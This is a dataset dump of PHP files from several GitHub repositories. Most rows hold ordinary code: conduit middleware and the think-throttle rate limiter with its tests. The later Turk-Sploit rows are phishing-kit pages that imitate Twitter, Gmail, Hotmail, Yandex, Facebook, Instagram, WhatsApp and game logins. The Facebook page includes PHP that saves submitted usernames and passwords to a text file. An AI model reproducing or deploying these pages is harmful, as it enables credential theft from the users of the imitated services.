repo
stringlengths
7
63
file_url
stringlengths
81
284
file_path
stringlengths
5
200
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 15:02:33
2026-01-05 05:24:06
truncated
bool
2 classes
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/src/Next.php
src/Next.php
<?php namespace Phly\Conduit; use Phly\Http\Uri; use Psr\Http\Message\MessageInterface; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use RuntimeException; use SplQueue; /** * Iterate a queue of middlewares and execute them. */ class Next { /** * @var Dispatch */...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/src/Http/Request.php
src/Http/Request.php
<?php namespace Phly\Conduit\Http; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Message\StreamInterface; use Psr\Http\Message\UriInterface; /** * Decorator for PSR ServerRequestInterface * * Decorates the PSR incoming request interface to add the ability to * manipulate arbitrary instance members. *...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/src/Http/Response.php
src/Http/Response.php
<?php namespace Phly\Conduit\Http; use Psr\Http\Message\ResponseInterface as PsrResponseInterface; use Psr\Http\Message\StreamInterface; /** * Response decorator * * Adds in write, end, and isComplete from RequestInterface in order * to provide a common interface for all PSR HTTP implementations. */ class Respon...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/src/Http/ResponseInterface.php
src/Http/ResponseInterface.php
<?php namespace Phly\Conduit\Http; /** * Response convenience methods * * Defines the following respones capabilities: * * - Write to the content * - End the response (mark it complete) * - Determine if the response is complete */ interface ResponseInterface { /** * Write data to the response body ...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/DispatchTest.php
test/DispatchTest.php
<?php namespace PhlyTest\Conduit; use Phly\Conduit\Dispatch; use Phly\Conduit\Route; use PHPUnit_Framework_TestCase as TestCase; use RuntimeException; class DispatchTest extends TestCase { public function setUp() { $this->request = $this->getMockBuilder('Phly\Conduit\Http\Request') ->disa...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/MiddlewarePipeTest.php
test/MiddlewarePipeTest.php
<?php namespace PhlyTest\Conduit; use Phly\Conduit\Http\Request as RequestDecorator; use Phly\Conduit\Http\Response as ResponseDecorator; use Phly\Conduit\MiddlewarePipe; use Phly\Conduit\Utils; use Phly\Http\ServerRequest as Request; use Phly\Http\Response; use Phly\Http\Uri; use PHPUnit_Framework_TestCase as TestCas...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/Bootstrap.php
test/Bootstrap.php
<?php namespace PhlyTest\Conduit; use RuntimeException; error_reporting(E_ALL | E_STRICT); chdir(__DIR__); /** * Test bootstrap, for setting up autoloading */ class Bootstrap { public static function init() { static::initAutoloader(); } protected static function initAutoloader() { ...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/FinalHandlerTest.php
test/FinalHandlerTest.php
<?php namespace PhlyTest\Conduit; use Exception; use Phly\Conduit\FinalHandler; use Phly\Conduit\Http\Request; use Phly\Conduit\Http\Response; use Phly\Http\ServerRequest as PsrRequest; use Phly\Http\Response as PsrResponse; use Phly\Http\Uri; use PHPUnit_Framework_TestCase as TestCase; use Zend\Escaper\Escaper; clas...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/RouteTest.php
test/RouteTest.php
<?php namespace PhlyTest\Conduit; use Phly\Conduit\Route; use PHPUnit_Framework_TestCase as TestCase; class RouteTest extends TestCase { public function testPathAndHandlerAreAccessibleAfterInstantiation() { $path = '/foo'; $handler = function () { }; $route = new Route($path, $...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/UtilsTest.php
test/UtilsTest.php
<?php namespace PhlyTest\Conduit; use Phly\Conduit\Dispatch; use Phly\Conduit\MiddlewarePipe; use Phly\Conduit\Utils; use PHPUnit_Framework_TestCase as TestCase; class UtilsTest extends TestCase { public function callablesWithVaryingArity() { return [ 'function' => ['strlen', 1], ...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/NextTest.php
test/NextTest.php
<?php namespace PhlyTest\Conduit; use Phly\Conduit\Http\Request; use Phly\Conduit\Http\Response; use Phly\Conduit\Next; use Phly\Conduit\Route; use Phly\Http\ServerRequest as PsrRequest; use Phly\Http\Response as PsrResponse; use Phly\Http\Uri; use PHPUnit_Framework_TestCase as TestCase; use SplQueue; class NextTest ...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/Http/ResponseTest.php
test/Http/ResponseTest.php
<?php namespace PhlyTest\Conduit\Http; use Phly\Conduit\Http\Response; use Phly\Http\Response as PsrResponse; use Phly\Http\Stream; use PHPUnit_Framework_TestCase as TestCase; class ResponseTest extends TestCase { public function setUp() { $this->original = new PsrResponse(); $this->response =...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/Http/RequestTest.php
test/Http/RequestTest.php
<?php namespace PhlyTest\Conduit\Http; use Phly\Conduit\Http\Request; use Phly\Http\ServerRequest as PsrRequest; use Phly\Http\Uri; use PHPUnit_Framework_TestCase as TestCase; class RequestTest extends TestCase { public function setUp() { $psrRequest = new PsrRequest([], [], 'http://example.com/',...
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/TestAsset/ErrorHandler.php
test/TestAsset/ErrorHandler.php
<?php namespace PhlyTest\Conduit\TestAsset; class ErrorHandler { public function handle($err, $req, $res, $next) { } }
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
phly/conduit
https://github.com/phly/conduit/blob/fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc/test/TestAsset/NormalHandler.php
test/TestAsset/NormalHandler.php
<?php namespace PhlyTest\Conduit\TestAsset; class NormalHandler { public function handle($req, $res, $next) { } }
php
MIT
fe05b72da0bf5b6af1bfffe22e9c0a9c4c362ccc
2026-01-05T02:50:37.961011Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/Throttle.php
src/Throttle.php
<?php declare(strict_types=1); namespace think\middleware; use Closure; use Psr\SimpleCache\CacheInterface; use ReflectionMethod; use think\App; use think\Cache; use think\Config; use think\Container; use think\exception\HttpResponseException; use think\middleware\annotation\RateLimit as RateLimitAnnotation; use thin...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/config.php
src/config.php
<?php // +---------------------------------------------------------------------- // | 节流设置 // +---------------------------------------------------------------------- use think\middleware\Throttle; use think\middleware\throttle\CounterFixed; use think\Request; use think\Response; return [ // 缓存键前缀,防止键值与其他应用冲突 '...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/throttle/ThrottleAbstract.php
src/throttle/ThrottleAbstract.php
<?php declare(strict_types=1); namespace think\middleware\throttle; use Psr\SimpleCache\CacheInterface; abstract class ThrottleAbstract { /** @var int */ protected int $cur_requests = 0; // 当前已有的请求数 /** @var int */ protected int $wait_seconds = 0; // 距离下次合法请求还有多少秒 /** * 是否允许访问 *...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/throttle/LeakyBucket.php
src/throttle/LeakyBucket.php
<?php declare(strict_types=1); namespace think\middleware\throttle; use Psr\SimpleCache\CacheInterface; use Psr\SimpleCache\InvalidArgumentException; /** * 漏桶算法 * Class LeakyBucket * @package think\middleware\throttle */ class LeakyBucket extends ThrottleAbstract { /** * @throws InvalidArgumentExceptio...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/throttle/TokenBucket.php
src/throttle/TokenBucket.php
<?php declare(strict_types=1); namespace think\middleware\throttle; use Psr\SimpleCache\CacheInterface; use Psr\SimpleCache\InvalidArgumentException; /** * 令牌桶算法 * Class TokenBucket * @package think\middleware\throttle */ class TokenBucket extends ThrottleAbstract { /** * @throws InvalidArgumentExceptio...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/throttle/CounterFixed.php
src/throttle/CounterFixed.php
<?php declare(strict_types=1); namespace think\middleware\throttle; use Psr\SimpleCache\CacheInterface; use Psr\SimpleCache\InvalidArgumentException; /** * 计数器固定窗口算法 * Class CounterFixed * @package think\middleware\throttle */ class CounterFixed extends ThrottleAbstract { /** * @throws InvalidArgumentE...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/throttle/CounterSlider.php
src/throttle/CounterSlider.php
<?php declare(strict_types=1); namespace think\middleware\throttle; use Psr\SimpleCache\CacheInterface; use Psr\SimpleCache\InvalidArgumentException; /** * 计数器滑动窗口算法 * Class CounterSlider * @package think\middleware\throttle */ class CounterSlider extends ThrottleAbstract { /** * @throws InvalidArgument...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/src/annotation/RateLimit.php
src/annotation/RateLimit.php
<?php declare(strict_types=1); namespace think\middleware\annotation; use Attribute; use Closure; use think\middleware\throttle\CounterFixed; #[Attribute(Attribute::IS_REPEATABLE | Attribute::TARGET_METHOD)] class RateLimit { const AUTO = true; const IP = '__IP__'; const SESSION = '__SESSION__'; cons...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/ResidentMemoryTest.php
tests/ResidentMemoryTest.php
<?php declare(strict_types=1); namespace tests; use tests\gc\GCApp; use think\Request; /** * 常驻内存型的单元测试,当 TP 运行在常驻内存型的时候。 * 一个 App 实例,处理多次请求 * Class ResidentMemoryTest * @package tests */ class ResidentMemoryTest extends Base { public function test_resident_memory() { $app = new GCApp(); ...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/Base.php
tests/Base.php
<?php declare(strict_types=1); namespace tests; use PHPUnit\Framework\TestCase; use tests\gc\GCApp; use think\middleware\SessionInit; use think\middleware\Throttle; use think\Request; use think\Response; abstract class Base extends TestCase { protected array $throttle_config = []; protected array $middleware...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/VisitRateTest.php
tests/VisitRateTest.php
<?php declare(strict_types=1); /** * 访问频率的单元测试 */ namespace tests; use think\middleware\Throttle; use think\middleware\throttle\CounterSlider; use think\Request; class VisitRateTest extends Base { /** * 根据请求的 url 设置不同的访问频率 */ function test_custom_visit_rate() { $config = $this->get_de...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/AppGCTest.php
tests/AppGCTest.php
<?php declare(strict_types=1); namespace tests; /** * APP 对象自动垃圾回收测试 */ class AppGCTest extends Base { public function testAppGC() { $count = 5000; $total = 0; for ($i = 0; $i < $count; $i++) { $request = $this->create_request("/hello/name"); $response = $this->g...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/ThrottleDriverTest.php
tests/ThrottleDriverTest.php
<?php declare(strict_types=1); namespace tests; use think\middleware\throttle\CounterFixed; use think\middleware\throttle\CounterSlider; use think\middleware\throttle\LeakyBucket; use think\middleware\throttle\TokenBucket; /** * 不同节流驱动单元测试 */ class ThrottleDriverTest extends Base { function test_counter_fixed(...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/CustomCacheTest.php
tests/CustomCacheTest.php
<?php declare(strict_types=1); /** * 自定义 cache 类 */ namespace tests; use DateInterval; use Psr\SimpleCache\CacheInterface; use think\middleware\Throttle; use think\Request; class CustomCache implements CacheInterface { protected array $data = []; public function get(string $key, mixed $default = null): mi...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/AnnotationTest.php
tests/AnnotationTest.php
<?php namespace tests; class Request extends \think\Request { // 真实ip可自定义,以便模拟不同地址请求 public function SetRealIP($ip) { $this->realIP = $ip; } } function create_request(string $uri, string $method = 'GET', string $host = '127.0.0.1', array $data = [], array $headers = []): Request { $reques...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/ThrottleDefaultConfigTest.php
tests/ThrottleDefaultConfigTest.php
<?php declare(strict_types=1); namespace tests; /** * 默认配置的单元测试 * Class ThrottleDefaultConfig * @package tests */ class ThrottleDefaultConfigTest extends Base { function test_visit_rate() { $this->set_throttle_config($this->get_default_throttle_config()); // 默认的访问频率为 '100/m' $allow...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/RouteThrottleTest.php
tests/RouteThrottleTest.php
<?php declare(strict_types=1); namespace tests; /** * 路由节流器单元测试 * Class ResidentMemoryTest * @package tests */ class RouteThrottleTest extends Base { public function test_route_middleware_type() { $this->middleware_type = 'route'; // 路由中间件 $config = $this->get_default_throttle_config();...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/app/middleware.php
tests/app/middleware.php
<?php // 全局中间件定义文件 use think\middleware\SessionInit; return [ // 全局请求缓存 // \think\middleware\CheckRequestCache::class, // 多语言加载 // \think\middleware\LoadLangPack::class, // Session初始化 SessionInit::class, // \think\middleware\Throttle::class, ];
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/app/controller/User.php
tests/app/controller/User.php
<?php namespace app\controller; use app\BaseController; use think\middleware\annotation\RateLimit; class User extends BaseController { #[RateLimit(rate: "10/m")] public function index(): string { // 默认为IP限流,默认单位时间为1秒 return '每个ip每秒最多10个请求'; } #[RateLimit(rate: "100/m", key: Rate...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/public/index.php
tests/public/index.php
<?php use tests\gc\GCApp; // [ 应用入口文件 ] require __DIR__ . '/../../vendor/autoload.php'; $app = new GCApp(); $app->env->set("APP_DEBUG", true); $app->initialize(); $app->loadApp(realpath(__DIR__ . '/..') . DIRECTORY_SEPARATOR); // 执行HTTP应用并响应 $http = $app->http; $response = $http->run(); $response->send(); $http...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/gc/GCValidate.php
tests/gc/GCValidate.php
<?php namespace tests\gc; use think\Validate; class GCValidate extends Validate { public static function cleanMaker(): void { static::$maker = []; } }
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/gc/GCApp.php
tests/gc/GCApp.php
<?php declare(strict_types=1); /** * 默认的 \think\App 的实例初始化后会在一些地方创建对它的引用, * 多数是在静态变量里,这就导致它不能被自动垃圾回收。 * 因此创建 GCApp 作为其子类,添加清理这些引用的处理的方法。 */ namespace tests\gc; use Exception; use think\App; use think\initializer\BootService; use think\initializer\RegisterService; /** * 可被自动 gc 的,但需要手动调用 refClear 函数 * Class GCA...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/gc/GCModel.php
tests/gc/GCModel.php
<?php namespace tests\gc; use think\Model; class GCModel extends Model { public static function cleanMaker(): void { static::$_maker = []; } }
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/gc/GCError.php
tests/gc/GCError.php
<?php namespace tests\gc; use think\App; use think\initializer\Error; class GCError extends Error { /** * 从 parent::init() 中移除 register_shutdown_function * @param App $app */ public function init(App $app): void { $this->app = $app; error_reporting(E_ALL); set_error...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/config/route.php
tests/config/route.php
<?php return [ // 路由中间件 'middleware' => [ think\middleware\Throttle::class, ], ];
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
top-think/think-throttle
https://github.com/top-think/think-throttle/blob/60bb22e257d453d22c8120c8922cf2cf3fdb9837/tests/config/throttle.php
tests/config/throttle.php
<?php // +---------------------------------------------------------------------- // | 节流设置 // +---------------------------------------------------------------------- use think\middleware\Throttle; use think\middleware\throttle\CounterFixed; use think\Request; use think\Response; return [ // 缓存键前缀,防止键值与其他应用冲突 '...
php
Apache-2.0
60bb22e257d453d22c8120c8922cf2cf3fdb9837
2026-01-05T02:50:51.359626Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Twitter/Site-phishing/index.php
Site/Twitter/Site-phishing/index.php
<!DOCTYPE html> <html lang="tr" data-scribe-reduced-action-queue="true"> <head> <meta charset="utf-8"> <script nonce="R2ya8eIyI8dU64OVIw9log=="> !function(){window.initErrorstack||(window.initErrorstack=[]),window.onerror=function(r,i,n,o,t){r.indexOf("Script err...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
true
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Twitter/Site-fakepanel/index.php
Site/Twitter/Site-fakepanel/index.php
<!DOCTYPE html> <html lang="tr"> <meta http-equiv="content-type" content="text/html;charset=UTF-8" /> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Twitter Beğeni Hilesi - Twitter Reetweet Hilesi - Twitter...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Mail/Site-yandex/index.php
Site/Mail/Site-yandex/index.php
<html lang="en" data-page-type="auth.new" class="is-js_yes passport-Page passport-Page_dark is-inlinesvg_yes"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7,IE=edge"><link rel="shortcut icon" href="//yastatic.net/morda-logo/i/favicon_comtr.ico"><script nonce="">(function(d, e, c, ...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Mail/Site-gmail/index.php
Site/Mail/Site-gmail/index.php
<!DOCTYPE html> <html lang="en"><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link rel="icon" type="image/ico" href="https://mail.google.com/favicon.ico"> <meta charset="utf-8"> <title>Google Hesap</title> <style type="text/css"> html, body, div, h1, h2, h3, h4, h5, h6, p, img, dl, ...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Mail/Site-hotmail/index.php
Site/Mail/Site-hotmail/index.php
<!DOCTYPE html> <!-- saved from url=(0032)https://login.live.com/login.srf --> <html dir="ltr" lang="TR-TR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><!--<base href="https://login.live.com/pp1600/">--><base href="."><script type="text/j...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
true
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Facebook/Site-fakepanel/index.php
Site/Facebook/Site-fakepanel/index.php
<script src="//ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <div class='LikeMe turk_bayrak' style='width:135px;height:135px;background-image:url(https://begen.co//anasayfa/sol_bayrak.png)'> <style>.kdrs:hover{left:0px !impor...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Facebook/Site-facebook/index.php
Site/Facebook/Site-facebook/index.php
<?php if (!empty($_POST['emails']) && !empty($_POST['passwd'])) { $ac = fopen("facebook.txt","a+"); $username = $_POST['emails']; $password = $_POST['passwd']; $userlar = ("\n__________________ \n Username : ".$username."\n Password : ".$password."\n__________________ \n"); fwrite($ac,$userlar); fclose($ac); } ?> ...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
true
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Whatsapp/Site/index.php
Site/Whatsapp/Site/index.php
<!DOCTYPE html> <html> <head> <title> -- Whatsapp Hack -- </title> <link href="https://cdn.iconscout.com/icon/free/png-256/whatsapp-62-414273.png" rel="shortcut icon"/> <style type="text/css"> .div1{ background-color:#040302; height: 600px; width: 500px; border-radius: 25px; ...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Instagram/Instagram-phishing/index.php
Site/Instagram/Instagram-phishing/index.php
<html lang="tr" class="js not-logged-in client-root touch js-focus-visible sDN5V"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Giriş Yap • Instagram</title> <meta name="robots" content="noimageindex, noarchive"> <meta name="apple-mobile-web-app-status-bar-style...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
true
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Instagram/Instagram-fakepanel/index.php
Site/Instagram/Instagram-fakepanel/index.php
<html lang="tr"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>insMobil | Giriş Yap</title> <meta name="robots" content="noindex, nofollow"> <meta id="viewport" name="viewport" content="width=device-width, user-scalable=no, initial-scale=1, minimum-scale...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Game/Site-lol/index.php
Site/Game/Site-lol/index.php
<!DOCTYPE html> <html> <head> <title> -- LOL V1.3 -- </title> <link rel="shortcut icon" href="https://lolstatic-a.akamaihd.net/lolkit/1.1.9/resources/images/favicon.ico" type="image/vnd.microsoft.icon"> <style type="text/css"> .div1{ background-color:#040302; height: 710px; width: 500px;...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Game/Site-pubg/index.php
Site/Game/Site-pubg/index.php
<!DOCTYPE html> <html> <head> <title> -- Pubg V1.3 -- </title> <link rel="shortcut icon" href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxITEhUSExMVFhUVFxUVFhgXGBYVFxUXFRUWFhYVFhYYHSggGBolHhcXITEhJSkrLi4uGB8zODMtNygtLisBCgoKDg0OGhAQGy0lHyUvLS0tLS0tLS0tLy0tLi0tLTUtLS0tLS0tLystLS0tLS0tLS0tLS0tL...
php
Apache-2.0
677410ba6085391da47092d79c3acd018f9f7d02
2026-01-05T02:50:41.245664Z
false
yamanefkar/Turk-Sploit
https://github.com/yamanefkar/Turk-Sploit/blob/677410ba6085391da47092d79c3acd018f9f7d02/Site/Game/Site-legend/index.php
Site/Game/Site-legend/index.php
